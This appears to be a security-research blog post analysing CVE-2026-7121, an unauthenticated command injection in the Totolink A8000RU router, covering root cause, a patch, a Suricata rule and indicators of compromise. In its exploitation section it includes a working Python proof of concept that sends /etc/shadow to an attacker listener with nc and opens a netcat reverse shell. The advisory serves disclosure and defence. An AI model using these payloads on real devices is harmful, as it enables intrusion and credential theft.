home intel cve-2026-7121-totolink-a8000ru-os-command-injection
CVE Analysis 2026-04-27 · 7 min read

CVE-2026-7121: OS Command Injection in Totolink A8000RU setWizardCfg

Unauthenticated OS command injection in Totolink A8000RU 7.1cu.643_b20200521 via the wizard argument in setWizardCfg CGI handler. CVSS 9.8, remotely exploitable, no auth required.

#command-injection#cgi-handler#remote-code-execution#router-vulnerability#authentication-bypass
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7121 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7121CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7121 is a critical OS command injection vulnerability in the Totolink A8000RU wireless router, firmware version 7.1cu.643_b20200521. The vulnerable surface is the setWizardCfg function exposed through the device's CGI handler at /cgi-bin/cstecgi.cgi. An unauthenticated remote attacker can inject arbitrary shell commands via the wizard POST parameter, achieving full root-level code execution on the device. The attack requires no credentials and no prior access — a single crafted HTTP request is sufficient.

This class of vulnerability is endemic across Totolink firmware. The same CGI dispatcher pattern, the same unsanitized system() calls, and the same JSON parameter extraction logic appear throughout their product line. This is not a one-off mistake; it is a systemic failure in the firmware build process.

Root cause: The setWizardCfg CGI handler passes the attacker-controlled wizard JSON parameter directly into a system() call via sprintf without any sanitization, escaping, or input validation.

Affected Component

The entry point is /cgi-bin/cstecgi.cgi, a monolithic CGI binary that handles all management API calls. Requests are dispatched by action name extracted from the POST body JSON. The action setWizardCfg maps directly to the function below. The binary runs as root (UID 0) under the BusyBox httpd process, meaning any injected command executes with full system privileges.

Relevant firmware details:

Device:   Totolink A8000RU
Firmware: 7.1cu.643_b20200521
Binary:   /cgi-bin/cstecgi.cgi
Arch:     MIPS32 little-endian (confirmed via binwalk)
Runtime:  BusyBox httpd, uid=0
Libc:     uClibc

Root Cause Analysis

The CGI binary uses a common Totolink pattern: parse the HTTP POST body as JSON, extract named fields, and pass them into configuration routines. The setWizardCfg handler extracts the wizard field and constructs a shell command string using sprintf before passing it to system(). No character filtering occurs at any point in this path.

// cstecgi.cgi — decompiled pseudocode (MIPS, uClibc)
// Dispatcher calls this after matching action "setWizardCfg"

typedef struct {
    char *json_body;       // raw POST body
    cJSON *parsed;         // parsed JSON object
    int   content_length;
} cgi_request_t;

void setWizardCfg(cgi_request_t *req) {
    char cmd_buf[512];
    char wizard_val[256];
    cJSON *item;

    // Extract "wizard" field from parsed JSON body
    item = cJSON_GetObjectItem(req->parsed, "wizard");
    if (item == NULL) {
        send_json_error(req, "missing param");
        return;
    }

    // BUG: attacker-controlled string copied with no sanitization
    strncpy(wizard_val, item->valuestring, sizeof(wizard_val) - 1);
    wizard_val[sizeof(wizard_val) - 1] = '\0';

    // BUG: wizard_val injected directly into shell command string
    sprintf(cmd_buf, "/bin/wizard.sh %s", wizard_val);

    // BUG: cmd_buf executed as a shell command — arbitrary OS execution
    system(cmd_buf);  // <-- OS COMMAND INJECTION

    send_json_response(req, "{\"result\":\"ok\"}");
}

The strncpy call gives a false sense of safety — it bounds the copy to the local buffer, preventing a stack overflow. But the injection is semantic, not spatial. The shell metacharacters in wizard_val are interpreted by /bin/sh when system() is called. The attacker does not need to overflow anything; they just need to include ;, |, or ` in the wizard value.

The dispatcher loop that reaches setWizardCfg does not enforce authentication for this action in the affected firmware version. The action table entry does not set an auth-required flag, making this a pre-authentication vulnerability reachable directly from the WAN interface if remote management is enabled (it is enabled by default on the A8000RU).

// Action dispatch table (simplified)
typedef struct {
    const char *action_name;
    void       (*handler)(cgi_request_t *);
    int         requires_auth;   // 0 = no auth required
} action_entry_t;

// BUG: requires_auth = 0 for setWizardCfg
static const action_entry_t action_table[] = {
    { "setWizardCfg",    setWizardCfg,    0 },  // <-- unauthenticated
    { "getSystemInfo",   getSystemInfo,   0 },
    { "setLoginCfg",     setLoginCfg,     1 },
    // ...
};

Exploitation Mechanics

Exploitation is trivial. The payload is a single HTTP POST request. The shell injection terminates the intended argument and appends an arbitrary command. Classic payloads include reverse shells, persistence mechanisms, and credential extraction from NVRAM.

EXPLOIT CHAIN:
1. Attacker sends HTTP POST to http://<target>/cgi-bin/cstecgi.cgi
   with Content-Type: application/json
   Body: {"action":"setWizardCfg","wizard":"x; <injected_command>"}

2. cstecgi.cgi parses JSON, extracts wizard = "x; <injected_command>"

3. setWizardCfg() calls:
   sprintf(cmd_buf, "/bin/wizard.sh %s", "x; <injected_command>")
   → cmd_buf = "/bin/wizard.sh x; <injected_command>"

4. system(cmd_buf) is called — sh -c "/bin/wizard.sh x; <injected_command>"

5. Shell executes injected_command as root (uid=0)

6. Attacker achieves persistent root access, credential theft, or
   network pivoting from the compromised router

A working proof-of-concept payload to exfiltrate the device's shadow file:

import requests
import sys

TARGET = sys.argv[1]  # e.g., "192.168.1.1"
LHOST  = sys.argv[2]  # attacker listener
LPORT  = sys.argv[3]

# Stage 1: exfiltrate credentials
exfil_payload = {
    "action": "setWizardCfg",
    "wizard": f"x; cat /etc/shadow | nc {LHOST} {LPORT}"
}

# Stage 2: reverse shell (BusyBox netcat with -e)
shell_payload = {
    "action": "setWizardCfg",
    "wizard": f"x; nc {LHOST} {LPORT} -e /bin/sh &"
}

url = f"http://{TARGET}/cgi-bin/cstecgi.cgi"
headers = {"Content-Type": "application/json"}

print("[*] Sending command injection...")
r = requests.post(url, json=exfil_payload, headers=headers, timeout=5)
print(f"[*] Response: {r.status_code} {r.text[:80]}")

print("[*] Dropping reverse shell...")
requests.post(url, json=shell_payload, headers=headers, timeout=5)
print(f"[*] Check listener on {LHOST}:{LPORT}")

Note: The device ships with BusyBox's netcat which supports -e on this firmware version. Alternative delivery via wget to a staged ELF payload is equally viable given the MIPS architecture.

Memory Layout

This is not a memory corruption vulnerability — exploitation is entirely semantic. However, the stack frame of setWizardCfg is worth examining to understand why the strncpy bound does not protect against the actual primitive.

STACK FRAME — setWizardCfg() (MIPS32, grows downward)

  [sp + 0x000]  saved $ra
  [sp + 0x004]  saved $s0 (req pointer)
  [sp + 0x100]  char wizard_val[256]    ← strncpy dest, bounded to 255 chars
  [sp + 0x200]  char cmd_buf[512]       ← sprintf dest

INJECTION ANALYSIS:
  wizard_val max = 255 bytes (safe from overflow)
  cmd_buf    = "/bin/wizard.sh " + wizard_val = 15 + 255 = 270 bytes max
  cmd_buf[512] is never overflowed — the bug is NOT memory corruption

  BUT: shell metacharacters in wizard_val are not stripped before
  sprintf/system(), so the shell interprets them at execution time.

  Payload ";cmd" in wizard_val produces:
    cmd_buf = "/bin/wizard.sh x;cmd"
              ^^^^^^^^^^^^^^^^^^^^
              parsed as TWO commands by /bin/sh

Patch Analysis

Totolink has not released an official patch for this firmware version at time of writing. The correct fix requires input sanitization before the sprintf call, or — better — eliminating system() entirely in favor of execve() with argument arrays, which prevents shell metacharacter interpretation by design.

// BEFORE (vulnerable — 7.1cu.643_b20200521):
strncpy(wizard_val, item->valuestring, sizeof(wizard_val) - 1);
sprintf(cmd_buf, "/bin/wizard.sh %s", wizard_val);
system(cmd_buf);  // shell expands metacharacters in wizard_val


// AFTER (patched — recommended fix, Option A: sanitize input):
strncpy(wizard_val, item->valuestring, sizeof(wizard_val) - 1);

// Strip all shell metacharacters before use
for (char *p = wizard_val; *p; p++) {
    if (!isalnum((unsigned char)*p) && *p != '-' && *p != '_' && *p != '.') {
        send_json_error(req, "invalid param");
        return;  // reject request entirely
    }
}
sprintf(cmd_buf, "/bin/wizard.sh %s", wizard_val);
system(cmd_buf);


// AFTER (patched — recommended fix, Option B: eliminate system() entirely):
char *const argv[] = { "/bin/wizard.sh", wizard_val, NULL };
pid_t pid = fork();
if (pid == 0) {
    execve("/bin/wizard.sh", argv, NULL);  // no shell, no metachar expansion
    _exit(1);
}
waitpid(pid, NULL, 0);

Option B is the correct approach. execve() passes arguments as discrete array elements directly to the target binary; the shell is never invoked and metacharacters have no special meaning. Option A using an allowlist is acceptable but fragile — any future parameter that legitimately requires special characters will re-open the vulnerability.

Additionally, the authentication flag for setWizardCfg in the action dispatch table must be set to 1 (require auth). Wizard configuration is a post-login operation and should never be accessible to unauthenticated requests.

Detection and Indicators

Detection on the network side requires HTTP request inspection. The following Suricata rule will match the injection pattern:

alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7121 Totolink setWizardCfg Command Injection Attempt";
    flow:established,to_server;
    http.uri; content:"/cgi-bin/cstecgi.cgi";
    http.request_body;
    content:"setWizardCfg";
    pcre:"/\"wizard\"\s*:\s*\"[^\"]*[\;\|\`\$\(\)][^\"]*\"/";
    classtype:web-application-attack;
    sid:20267121; rev:1;
)

On-device indicators of compromise (if shell access is available for forensics):

IOC CHECKLIST:
- Unexpected outbound connections from router process (netstat -an)
- New cron entries in /var/spool/cron/ or /etc/crontabs/
- Modified /etc/shadow or /etc/passwd timestamps
- Unknown processes running as uid=0 (ps aux)
- httpd access log entries matching POST /cgi-bin/cstecgi.cgi with
  body containing semicolons or pipe chars in "wizard" field
- /tmp/ containing downloaded ELF binaries (ls -la /tmp)

Remediation

Immediate mitigations (no patch available):

  • Disable remote (WAN-side) management in the router's admin interface under System → Remote Management. This does not fully mitigate LAN-side attacks but eliminates internet exposure.
  • Place the router's management interface behind a firewall rule blocking external access to port 80/443.
  • Segment the router management VLAN from untrusted hosts on the LAN.

Long-term: No vendor patch exists for 7.1cu.643_b20200521 at time of writing. The A8000RU appears to be end-of-life. Users should migrate to actively maintained hardware. If replacement is not immediately possible, the WAN management disable is the highest-priority control.

This vulnerability is consistent with a broader pattern across Totolink's CGI-based firmware. Researchers auditing other A-series or X-series devices should treat every system() call in cstecgi.cgi handlers as a candidate injection point and specifically examine whether the corresponding action table entry enforces authentication.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →